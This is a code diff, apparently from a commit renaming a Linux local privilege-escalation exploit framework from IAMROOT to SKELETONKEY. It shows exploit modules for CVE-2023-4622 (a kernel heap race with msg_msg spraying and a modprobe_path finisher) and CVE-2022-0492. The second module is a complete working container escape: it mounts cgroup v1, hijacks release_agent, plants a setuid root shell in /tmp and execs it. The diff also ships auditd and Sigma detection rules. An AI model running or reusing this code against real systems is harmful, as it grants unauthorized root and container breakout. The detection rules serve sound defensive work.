fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
" needs thousands of iterations to win on average.\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Race-driver state ------------------------------------------- */
|
||||
@@ -376,7 +382,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x55; /* 'U' — unix */
|
||||
memset(p.buf, 0x55, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOTU", 8);
|
||||
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||
@@ -537,40 +543,41 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
iamroot_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == IAMROOT_OK) {
|
||||
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||
* modprobe_path is unresolvable we refuse here rather than running
|
||||
* a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_unix_gc");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||
" a small fraction per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||
@@ -588,7 +595,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||
@@ -635,7 +642,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||
|
||||
/* 4. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||
@@ -684,18 +691,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
.n_queues = AFUG_SPRAY_QUEUES,
|
||||
.arb_calls = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
af_unix_gc_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
@@ -729,7 +736,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
@@ -738,26 +745,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
if (!ctx->json) {
|
||||
@@ -765,11 +772,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" win + land within budget (expected outcome on most\n"
|
||||
" runs — race wins are a fraction of a percent).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -778,39 +785,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
#ifdef __linux__
|
||||
return af_unix_gc_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* Race threads + msg queues live inside the now-exited child;
|
||||
* nothing else to drain. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -821,11 +828,11 @@ static const char af_unix_gc_auditd[] =
|
||||
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||
"# subsequent KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
const struct iamroot_module af_unix_gc_module = {
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||
@@ -841,7 +848,7 @@ const struct iamroot_module af_unix_gc_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_unix_gc(void)
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
{
|
||||
iamroot_register(&af_unix_gc_module);
|
||||
skeletonkey_register(&af_unix_gc_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
# NOTICE — cgroup_release_agent (CVE-2022-0492)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
|
||||
wrong namespace → host root from a rootless container or unprivileged
|
||||
userns by mounting cgroup v1 and writing to `release_agent`.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
|
||||
January 2022.
|
||||
|
||||
Original writeup:
|
||||
<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||
write `release_agent` → `./payload`, trigger via
|
||||
`notify_on_release` + cgroup process exit.
|
||||
|
||||
Kept in the corpus as a portable "containers misconfigured"
|
||||
demonstration — works across every kernel below the fix without any
|
||||
tuning. Ships auditd rules covering cgroupfs mounts and
|
||||
`release_agent` writes.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
+97
-66
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||
*
|
||||
* cgroup v1 release_agent file is checked only for "is the writer
|
||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||
@@ -36,9 +36,8 @@
|
||||
* exposure even if all the fancy heap-spray bugs are patched.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -46,6 +45,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -71,54 +75,50 @@ static const struct kernel_range cgroup_ra_range = {
|
||||
sizeof(cgroup_ra_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
|
||||
static const char PAYLOAD_SHELL[] =
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
||||
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||
|
||||
static bool write_file(const char *path, const char *content)
|
||||
{
|
||||
@@ -147,23 +147,26 @@ static bool write_file(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||
* later. Payload runs as host root when the cgroup is released. */
|
||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
||||
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
chmod(payload_path, 0755);
|
||||
if (!ctx->json) {
|
||||
@@ -173,7 +176,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||
* the setuid shell we expect the payload to plant. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
@@ -193,7 +196,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||
* even on cgroup-v2-first systems). */
|
||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
||||
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||
mkdir(cgmount, 0700);
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||
/* Fallback: try memory controller — needs different reach */
|
||||
@@ -206,7 +209,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||
char cgdir[384];
|
||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
||||
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||
mkdir(cgdir, 0755);
|
||||
|
||||
/* Write release_agent in the ROOT of the controller (must be
|
||||
@@ -254,9 +257,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
"polling for payload execution\n", status);
|
||||
}
|
||||
|
||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
||||
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||
* its appearance + setuid bit. Up to 5 seconds. */
|
||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
||||
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||
bool got_root = false;
|
||||
for (int i = 0; i < 50; i++) {
|
||||
struct stat st;
|
||||
@@ -271,7 +274,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||
"Likely patched or cgroup-controller-blocked.\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -280,39 +283,67 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||
fflush(NULL);
|
||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||
perror("execl");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||
}
|
||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||
|
||||
static const char cgroup_ra_sigma[] =
|
||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
||||
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -328,7 +359,7 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
const struct iamroot_module cgroup_release_agent_module = {
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||
@@ -344,7 +375,7 @@ const struct iamroot_module cgroup_release_agent_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cgroup_release_agent(void)
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
{
|
||||
iamroot_register(&cgroup_release_agent_module);
|
||||
skeletonkey_register(&cgroup_release_agent_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
